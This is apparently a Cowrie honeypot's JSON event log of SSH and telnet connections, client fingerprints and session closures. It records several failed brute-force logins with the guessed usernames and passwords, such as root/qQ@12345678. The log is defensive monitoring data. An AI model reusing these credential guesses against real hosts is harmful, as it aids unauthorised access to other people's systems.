{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60844,"dst_ip":"159.203.135.109","dst_port":23,"session":"917f922362f3","protocol":"telnet","message":"New connection: 69.4.83.194:60844 (159.203.135.109:23) [session: 917f922362f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:41.692345Z"}
{"eventid":"cowrie.login.failed","username":"openproject","password":"openproject","message":"login attempt [openproject/openproject] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:42.454171Z","src_ip":"43.133.65.220","session":"962603b71557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:43.667589Z","src_ip":"43.133.65.220","session":"962603b71557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":54952,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb070821941","protocol":"ssh","message":"New connection: 180.178.94.210:54952 (159.203.135.109:22) [session: 2fb070821941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:49.716919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:49.721913Z","src_ip":"180.178.94.210","session":"2fb070821941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:49.991790Z","src_ip":"180.178.94.210","session":"2fb070821941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000","message":"login attempt [root/000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:51.098840Z","src_ip":"180.178.94.210","session":"2fb070821941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:52.372536Z","src_ip":"180.178.94.210","session":"2fb070821941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.736597299575806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:56.037670Z","src_ip":"69.4.83.194","session":"2393c90ad54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54242,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b200ba7d999","protocol":"telnet","message":"New connection: 178.128.93.180:54242 (10.17.0.5:23) [session: 6b200ba7d999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:12.531223Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":11859,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4eba6c76a93","protocol":"ssh","message":"New connection: 190.6.32.107:11859 (159.203.135.109:22) [session: b4eba6c76a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:14.182186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:14.187098Z","src_ip":"190.6.32.107","session":"b4eba6c76a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:14.242515Z","src_ip":"190.6.32.107","session":"b4eba6c76a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85c","password":"uno85c","message":"login attempt [uno85c/uno85c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:14.497307Z","src_ip":"190.6.32.107","session":"b4eba6c76a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:15.557353Z","src_ip":"190.6.32.107","session":"b4eba6c76a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.50334668159485,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:17.195594Z","src_ip":"69.4.83.194","session":"917f922362f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c9b03e48383","protocol":"telnet","message":"New connection: 69.4.83.194:48054 (159.203.135.109:23) [session: 9c9b03e48383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:21.945231Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"100c0301d65b","protocol":"telnet","message":"New connection: 178.128.93.180:57554 (10.17.0.5:23) [session: 100c0301d65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:22.322160Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47840,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad1f2946484","protocol":"telnet","message":"New connection: 69.4.83.194:47840 (159.203.135.109:23) [session: 9ad1f2946484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:22.418107Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":47460,"dst_ip":"159.203.135.109","dst_port":22,"session":"5db2bfe5c3b0","protocol":"ssh","message":"New connection: 185.236.22.41:47460 (159.203.135.109:22) [session: 5db2bfe5c3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:25.979374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:25.984612Z","src_ip":"185.236.22.41","session":"5db2bfe5c3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:26.098123Z","src_ip":"185.236.22.41","session":"5db2bfe5c3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:26.433628Z","src_ip":"185.236.22.41","session":"5db2bfe5c3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:27.548746Z","src_ip":"185.236.22.41","session":"5db2bfe5c3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50306,"dst_ip":"159.203.135.109","dst_port":23,"session":"399c7bc2c5a6","protocol":"telnet","message":"New connection: 69.4.83.194:50306 (159.203.135.109:23) [session: 399c7bc2c5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:28.859495Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":40404,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca99240a373","protocol":"ssh","message":"New connection: 106.243.250.115:40404 (159.203.135.109:22) [session: 1ca99240a373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:32.104956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:32.110141Z","src_ip":"106.243.250.115","session":"1ca99240a373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:32.310170Z","src_ip":"106.243.250.115","session":"1ca99240a373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ@12345678","message":"login attempt [root/qQ@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:33.134690Z","src_ip":"106.243.250.115","session":"1ca99240a373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161504745483,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:33.771314Z","src_ip":"102.219.170.64","session":"f4eef1040667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:34.334145Z","src_ip":"106.243.250.115","session":"1ca99240a373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54064,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f12eeaa2e0","protocol":"telnet","message":"New connection: 69.4.83.194:54064 (159.203.135.109:23) [session: 88f12eeaa2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:37.867023Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":47703,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bed622f9146","protocol":"telnet","message":"New connection: 102.219.170.64:47703 (10.17.0.5:23) [session: 8bed622f9146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:39.545737Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":40128,"dst_ip":"159.203.135.109","dst_port":22,"session":"552c6289cf13","protocol":"ssh","message":"New connection: 101.79.165.133:40128 (159.203.135.109:22) [session: 552c6289cf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:41.073649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:41.078370Z","src_ip":"101.79.165.133","session":"552c6289cf13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:41.303846Z","src_ip":"101.79.165.133","session":"552c6289cf13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123!@#","message":"login attempt [root/abc@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:42.235945Z","src_ip":"101.79.165.133","session":"552c6289cf13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:43.465435Z","src_ip":"101.79.165.133","session":"552c6289cf13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0103850364685,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:53.175542Z","src_ip":"102.219.170.64","session":"96b09de316cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22423243522644,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:55.169345Z","src_ip":"69.4.83.194","session":"9c9b03e48383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47762417793274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:55.895597Z","src_ip":"69.4.83.194","session":"9ad1f2946484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.90.207","src_port":59406,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff75841065fb","protocol":"telnet","message":"New connection: 43.156.90.207:59406 (159.203.135.109:23) [session: ff75841065fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:27:59.398600Z"}
{"eventid":"cowrie.session.closed","duration":120.00189399719238,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:00.238624Z","src_ip":"102.219.170.64","session":"a047cf9f2643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.01089286804199,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:03.870278Z","src_ip":"69.4.83.194","session":"399c7bc2c5a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.235","src_port":57364,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c885a4a29f","protocol":"ssh","message":"New connection: 78.111.67.235:57364 (10.17.0.5:22) [session: 97c885a4a29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:12.494587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:12.527639Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:12.629603Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:ba:55:5e:d6:e9:14:96:05:4e:6c:e6:79:41:eb:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTM3fU6gdWO7Hjcd4iUWfz9+rdKxCInrIhk23xxsuNpTrJLG6quCURWcQUvr+owb/FI9NfijN3iueLq090EN8iOty7f9HgiVsRZPdfKKfBOEqecOHR/jrX63ByWyG/AMuXAGBY3wKot/RRzAaKkJYc6ArCJGlB5bSXl5hyljTk4KF7g52nbIihbmr824UtN19naCjTUy6R4qbpKUvZPlp0ByrysnkQ1d7iXZ/PFp/K13zaotODlnr0OPw/t8fvS/xmoaNOHdAK24y/Mvc9ofX0d2WmobQknRBXyLKDeOPc9efTJoHb75qk7qvJnmJOBndY2qEtDYN12UUaH0C/AX+3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:ba:55:5e:d6:e9:14:96:05:4e:6c:e6:79:41:eb:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.089099Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
